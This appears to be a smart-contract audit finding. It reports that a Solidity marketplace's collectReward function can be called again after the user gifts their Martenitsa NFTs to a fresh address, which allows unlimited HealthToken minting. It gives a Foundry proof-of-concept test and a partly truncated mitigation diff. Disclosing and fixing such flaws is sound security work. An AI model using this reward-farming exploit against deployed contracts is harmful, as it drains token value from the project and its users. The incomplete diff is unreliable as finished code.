A malicious user can collect the reward, gift the Martenitsa to another address and collect again the reward as many time as he wants.
This give the ability to mint an infinite amount of HealthToken
Proof Of Code
function testCanCollectRewardMultipleTimes() public eligibleForReward {
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(bob) == 10 ** 18);
address secondBobAddress = makeAddr("secondBob");
vm.startPrank(bob);
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(secondBobAddress, 0);
marketplace.makePresent(secondBobAddress, 1);
marketplace.makePresent(secondBobAddress, 2);
vm.stopPrank();
vm.startPrank(secondBobAddress);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(secondBobAddress) == 10 ** 18);
}
contract MartenitsaMarketplace is Ownable {
...
mapping(address => uint256) private _collectedRewards;
mapping(uint256 => Listing) public tokenIdToListing;
+ mapping
...
- function collectReward() external {
+ function collectReward(uint256[] memory martenitsaTokens) external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
+ for (uint256 i = 0; i < martenitsaTokens.length; i++) {
+ require(!_alreadyUsedMartenitsa[martenitsaTokens[i]], "one token is already used");
+ _alreadyUsedMartenitsa[martenitsaTokens[i]] = true;
+ }
+ uint256 amountRewards = martenitsaTokens.length / requiredMartenitsaTokens;
- uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
- uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
_collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}